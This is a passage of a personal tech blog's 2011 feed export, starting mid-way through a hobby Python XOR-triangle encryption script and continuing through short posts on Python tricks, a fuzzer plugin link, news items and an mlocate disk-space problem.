        sDiagonal = "".join(diagonal)
        sColumn = "".join(column)
        iDiagonal = int(sDiagonal, 2)
        iColumn = int(sColumn, 2)
        copy1.append(iDiagonal)
        copy2.append(iColumn)
        log("%5s\t%5s\t%5s" % (str(iter), str(iDiagonal), str(iColumn)))

log(copy1)
log(copy2)

fd1 = open('copy1.txt', 'w')
fd2 = open('copy2.txt', 'w')

for iter in copy1:
        fd1.write(chr(iter))

for iter in copy2:
        fd2.write(chr(iter))


$cat decrypt-and-combine.py
import sys
from math import *
from sets import Set
import getopt

#
# Truth table:
#         0 0 0
#        0 1 1
#         1 0 1 
#        1 1 0
#

def bin(n):
        bStr = ''
        if n &lt; 0: raise ValueError, "must be a positive integer"
        if n == 0: return '0'
        while n &gt; 0:
                bStr = str(n % 2) + bStr
                n = n &gt;&gt; 1
        return bStr
        
def op(x, y):
        if x == '1' and y == '1':
                return '0'
        if x == '1' and y == '0':
                return '1'
        if x == '0' and y == '1':
                return '1'
        if x == '0' and y == '0':
                return '0'

def usage():
        print "python script.py -f file"

def log(strng):
        if debug == 1:
                print strng

def display(strng):
        if triangle == 1:
                print strng

#
# Function to return diagonal and column if a row is provided as input
#        
def findAll(num1l):
        num1l_i = int(num1l, 2)
        limit = len(num1l) - 1
        row0 = list(num1l)
        for iter1 in range(1, limit + 1):
                func = "row" + str(iter1) + " = []"
                exec(func)
                for iter2 in range(0, limit - iter1 + 1):
                        lhs =         "row" + str(iter1) + ".append("
                        rhs =         "op(row" + str(iter1 - 1) + "[" + str(iter2) + "], " + \
                                "row" + str(iter1 - 1) + "[" + str(iter2 + 1) +"]))"
                                        
                        func = lhs + rhs
                        exec(func)

        for iter in range(0, limit + 1):
                func = "display( ' ' * " + str(5  + iter * 5) + " + str(row" + str(iter) + "))"
                exec(func)
        
        diagonal = []
        
        for iter in range(0, limit + 1):
                func = "diagonal.append(row" + str(iter)  + "[0])"
                exec(func)
        
        
        column = []
        for iter in range(0, limit + 1):
                func = "column.append(row" + str(iter) + "[len(row" + str(iter) + ") -1])"
                exec(func)
        
        return diagonal, column
        

#
# Main Script
# 

if len(sys.argv) &lt; 2:
        usage()
        sys.exit(1)

try:
        opts, args = getopt.getopt(sys.argv[1:], "hdf:", ["help", "triangle", "debug", "file=", "num="])
except getopt.GetoptError, err:
        usage()
        sys.exit(1)

debug = triangle = 0

for o, a in opts:
        if o in ("-h", "--help"):
                usage()
        elif o in ("-f", "--file"):
                file = a
        elif o in ("-d", "--debug"):
                debug = 1
        else:
                log("Unhandled exception, exiting")
                sys.exit(1)

fd1 = open('copy1.txt', 'r')
fd2 = open('copy2.txt', 'r')

f1 = fd1.read()
f2 = fd2.read()

f1l = list(f1)
f2l = list(f2)

f1i = []
f2i = []

for iter in f1l:
        f1i.append(ord(iter))

for iter in f2l:
        f2i.append(ord(iter))

rows = []
diagonals = []
columns = []
for iter in range(0, 255):
        diagonal, column = findAll(bin(iter))
        sDiagonal = "".join(diagonal)
        sColumn = "".join(column)
        iDiagonal = int(sDiagonal, 2)
        iColumn = int(sColumn, 2)
        #log("%5s\t%5s\t%5s" % (str(iter), str(iDiagonal), str(iColumn)))
        rows.append(iter)
        diagonals.append(iDiagonal)
        columns.append(iColumn)


result = []
for iter in range(0, len(f1l)):
        for iter2 in diagonals:
                if ord(f1l[iter]) == iter2:
                        result.append(chr(diagonals[iter2]))

decryptedText = "".join(result)

f = open('dtext.txt', 'w')
f.write(decryptedText)

&lt;/pre&gt;
All the above files and a few analysis are zipped to a single file which can be downloaded &lt;a href="http://files.myopera.com/suchindrac/files/encrypt-decrypt-pythogoras.tar.gz"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-5161453868764128196?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/5161453868764128196/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/good-idea-implemented-in-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5161453868764128196'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5161453868764128196'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/good-idea-implemented-in-python.html' title='A good idea implemented in python'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-6284266471489576052</id><published>2011-02-17T22:32:00.001-08:00</published><updated>2011-02-17T22:32:53.466-08:00</updated><title type='text'>Learning django</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;There is a good book on it, if you would like to &lt;a href="http://ubuntuone.com/p/dql/"&gt;try it out&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-6284266471489576052?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/6284266471489576052/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/learning-django.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6284266471489576052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6284266471489576052'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/learning-django.html' title='Learning django'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-4727199765000246965</id><published>2011-02-04T21:57:00.001-08:00</published><updated>2011-02-04T21:57:38.444-08:00</updated><title type='text'>Good paintings</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;a href="http://www.daydaypaint.com/blog/?tag=oil-painting"&gt;http://www.daydaypaint.com/blog/?tag=oil-painting&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-4727199765000246965?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/4727199765000246965/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/good-paintings.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4727199765000246965'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4727199765000246965'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/good-paintings.html' title='Good paintings'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-5610701155961335300</id><published>2011-02-04T05:28:00.000-08:00</published><updated>2011-02-04T05:48:31.419-08:00</updated><title type='text'>Kernel and drivers written in haskell high level programming language</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;i&gt;House&lt;/i&gt;  is a demo of software written in &lt;a href="http://www.haskell.org/"&gt;Haskell&lt;/a&gt;, running in a standalone environment. It is a system than can serve as a platform for exploring various ideas relating to low-level and system-level programming in a high-level functional language. More details are available in our ICFP 2005 paper: &lt;a href="http://ogi.altocumulus.org/%7Ehallgren/ICFP2005/"&gt;&lt;cite&gt;A Principled Approach to Operating System Construction in Haskell&lt;/cite&gt;&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
More &lt;a href="http://programatica.cs.pdx.edu/House/"&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
There is another project called &lt;a href="http://jtauber.com/cleese/"&gt;&lt;b&gt;cleese&lt;/b&gt;&lt;/a&gt;&amp;nbsp; which is an attempt to write an operating system in python&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-5610701155961335300?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/5610701155961335300/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/kernel-and-drivers-written-in-haskell.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5610701155961335300'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5610701155961335300'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/kernel-and-drivers-written-in-haskell.html' title='Kernel and drivers written in haskell high level programming language'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-6163639940686999254</id><published>2011-02-02T23:05:00.001-08:00</published><updated>2011-02-22T07:24:34.658-08:00</updated><title type='text'>Tricky bitwise operations in python</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;
&lt;pre&gt;&lt;pre class="Cpp" name="code"&gt;sh-3.2$ cat a.py
def bin(n):
        b = ''
        while n &amp;gt;= 1:
                b = b + str(n % 2)
                n = n &amp;gt;&amp;gt; 1
        return b[::-1]


a = 2
b = 4
print "%10s %10s\n%10s %10s" % ('a', bin(2).zfill(10), 'b', bin(4).zfill(10))
a = a ^ b
print "%10s %10s" % ('a ^ b', bin(a).zfill(10))
b = a ^ b
print "%10s %10s" % ('a ^ b', bin(b).zfill(10))
a = a ^ b
print "%10s %10s" % ('a ^ b', bin(a).zfill(10))
sh-3.2$ python a.py
         a 0000000010
         b 0000000100
     a ^ b 0000000110
     a ^ b 0000000010
     a ^ b 0000000100

&lt;/pre&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-6163639940686999254?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/6163639940686999254/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/tricky-bitwise-operations-in-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6163639940686999254'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6163639940686999254'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/tricky-bitwise-operations-in-python.html' title='Tricky bitwise operations in python'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-6838056161172406308</id><published>2011-02-02T21:09:00.000-08:00</published><updated>2011-02-22T07:41:33.528-08:00</updated><title type='text'>C++ type syntax using python</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;If you like to do stuff like 'cout &amp;lt;&amp;lt; "whatever"' on python  This can be achieved, by re-defining the left shift using a custom __lshift__ function in an object as follows:    &lt;br /&gt;
&lt;pre class="Cpp" name="code"&gt;

import sys

class ostream:

    def __init__(self, file):

        self.file = file



    def __lshift__(self, obj):

        self.file.write(str(obj));

        return self


cout = ostream(sys.stdout)

cerr = ostream(sys.stderr)

nl = '\n'

cout &amp;lt;&amp;lt; "a" &amp;lt;&amp;lt; " " &amp;lt;&amp;lt; "hello" &amp;lt;&amp;lt; nl

Execution:

#python a.py
a hello
#

&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-6838056161172406308?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/6838056161172406308/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/c-type-syntax-using-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6838056161172406308'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6838056161172406308'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/c-type-syntax-using-python.html' title='C++ type syntax using python'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-8489287802251114147</id><published>2011-01-27T07:42:00.000-08:00</published><updated>2011-01-27T08:12:30.083-08:00</updated><title type='text'>HTTPS (using urllib2) and Pure SSL Peach Publishers</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Wrote two Peach Publishers (one for HTTPS using urllib2 and another for Pure SSL) for use in Peach Fuzzer&lt;br /&gt;
&lt;br /&gt;
Attached the publishers and XML files for performing test POST and GET request fuzzing&amp;nbsp; &lt;a href="http://files.myopera.com/suchindrac/files/peach-publishers.tar.gz"&gt;in this link&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-8489287802251114147?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/8489287802251114147/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/https-using-urllib2-and-pure-ssl-peach.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/8489287802251114147'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/8489287802251114147'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/https-using-urllib2-and-pure-ssl-peach.html' title='HTTPS (using urllib2) and Pure SSL Peach Publishers'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-9077130656414739783</id><published>2011-01-22T06:42:00.000-08:00</published><updated>2011-01-22T06:44:50.508-08:00</updated><title type='text'>Decryptors Needed</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;A little over a year ago, the Fermilab Office of Public Affairs received  a curious letter in code (see the image to the right). It has been  sitting in our files all that time and we haven’t had much of a chance  to look into breaking the code, nor are we particularly expert at this!&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.symmetrymagazine.org/breaking/2008/05/15/code-crackers-wanted/"&gt;Original Article Here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Image below:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_cAZxWE_bXGw/TTrtWARDaEI/AAAAAAAAADg/gzDTOAdhxI4/s1600/btm-paragraph.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="84" src="http://4.bp.blogspot.com/_cAZxWE_bXGw/TTrtWARDaEI/AAAAAAAAADg/gzDTOAdhxI4/s320/btm-paragraph.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-9077130656414739783?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/9077130656414739783/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/decryptors-needed.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/9077130656414739783'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/9077130656414739783'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/decryptors-needed.html' title='Decryptors Needed'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_cAZxWE_bXGw/TTrtWARDaEI/AAAAAAAAADg/gzDTOAdhxI4/s72-c/btm-paragraph.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-4199163555469654714</id><published>2011-01-18T07:39:00.001-08:00</published><updated>2011-01-18T07:46:42.341-08:00</updated><title type='text'>Wikileaks leak of swiss bank accounts</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_cAZxWE_bXGw/TTW1zn33R3I/AAAAAAAAADc/QTMOnaFAt3E/s1600/sbe_ja.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="210" src="http://1.bp.blogspot.com/_cAZxWE_bXGw/TTW1zn33R3I/AAAAAAAAADc/QTMOnaFAt3E/s320/sbe_ja.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://timesofindia.indiatimes.com/world/uk/Ex-Swiss-banker-gives-secret-documents-of-super-rich-to-WikiLeaks-/articleshow/7305606.cms"&gt;Original Article Here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Rudolf Elmer, a former employee of Swiss-based Bank Julius Baer, said  the account holders include "high net worth" celebrities, business  leaders and lawmakers from the U.S., Britain and Asia&lt;br /&gt;
&lt;br /&gt;
"I want to let society know how this system works," he said. "It's damaging society"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-4199163555469654714?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/4199163555469654714/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/wikileaks-leak-of-swiss-bank-accounts.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4199163555469654714'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4199163555469654714'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/wikileaks-leak-of-swiss-bank-accounts.html' title='Wikileaks leak of swiss bank accounts'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_cAZxWE_bXGw/TTW1zn33R3I/AAAAAAAAADc/QTMOnaFAt3E/s72-c/sbe_ja.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-4227533486883336252</id><published>2011-01-16T08:17:00.000-08:00</published><updated>2011-01-16T08:17:21.310-08:00</updated><title type='text'>Great resource of ancient texts</title><content type='html'>&lt;a href="http://www.forgottenbooks.org/"&gt;Forgotten Books&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-4227533486883336252?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/4227533486883336252/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/great-resource-of-ancient-texts.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4227533486883336252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4227533486883336252'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/great-resource-of-ancient-texts.html' title='Great resource of ancient texts'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-8291766689048356096</id><published>2011-01-15T06:17:00.000-08:00</published><updated>2011-01-15T06:19:26.098-08:00</updated><title type='text'>Android for PCs and VMs</title><content type='html'>Recently tried out two different types of androids:&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://code.google.com/p/live-android/"&gt;Live Android&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.android-x86.org/"&gt;Android-X86&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Quite a good experience of how mobile users feel like when they use internet&lt;br /&gt;
&lt;br /&gt;
One can browse websites meant for mobiles, and chat and do stuff with a mobile's interfaces, all this using the PC&lt;br /&gt;
&lt;br /&gt;
And of course, we can genuinely add "Sent from my Android" in the end of emails, to make it feel like you are a mobile geek&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-8291766689048356096?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/8291766689048356096/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/android-for-vms.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/8291766689048356096'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/8291766689048356096'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/android-for-vms.html' title='Android for PCs and VMs'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-816688365700179218</id><published>2011-01-07T02:43:00.000-08:00</published><updated>2011-01-07T02:43:37.479-08:00</updated><title type='text'>Magic patch in Liquorix Kernel</title><content type='html'>Heard that the 200 line magic patch is in &lt;a href="http://liquorix.net/"&gt;Liquorix Kernel &lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Installed it, and I am getting at-least 2-3 fold improvement in performance&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-816688365700179218?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/816688365700179218/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/magic-patch-in-liquorix-kernel.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/816688365700179218'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/816688365700179218'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/magic-patch-in-liquorix-kernel.html' title='Magic patch in Liquorix Kernel'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-3270396502105535760</id><published>2011-01-07T01:33:00.000-08:00</published><updated>2011-03-03T04:19:26.440-08:00</updated><title type='text'>mlocate is not for me</title><content type='html'>I was recently amazed when I saw a message in my Ubuntu Desktop saying "You have only 960 MB of Disk Space"&lt;br /&gt;
&lt;br /&gt;
I had installed Ubuntu on a 20 GB hard drive, and was sure I had about 18 GB to store data in file system&lt;br /&gt;
&lt;br /&gt;
What I discovered was really out of my mind&lt;br /&gt;
&lt;br /&gt;
I removed all files from my home folder and all files in /tmp folder, but still there was only about 1.5 GB max free&lt;br /&gt;
&lt;br /&gt;
Then I installed the disk space analyzer and found that a single folder called /var/lib/mlocate has occuppied about 14 GB of space&lt;br /&gt;
&lt;br /&gt;
When I removed that folder and uninstalled mlocate, my machine had a lot of disk space freed&lt;br /&gt;
&lt;br /&gt;
mlocate is an application that stores a database of files so that it helps searching files in a machine&lt;br /&gt;
&lt;br /&gt;
The best way to optimize your machine is to have mlocate only if you have a huge disk space, or else, please delete mlocate package and remove its database&lt;br /&gt;
&lt;br /&gt;
Here was my statistics before deleting mlocate:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;root@suchindrac-VM:/var/lib/mlocate$ ls -lh
total 14G
-rw-r--r-- 1 root root 0 2011-01-07 08:37 daily.lock
-rw-r----- 1 root mlocate 3.4M 2011-01-04 09:02 mlocate.db
-rw------- 1 root root 4.0G 2011-01-05 20:01 mlocate.db.IDD1FP
-rw------- 1 root root 4.5G 2011-01-07 20:24 mlocate.db.kov6WH
-rw------- 1 root root 5.1G 2011-01-03 20:13 mlocate.db.ygf7kf

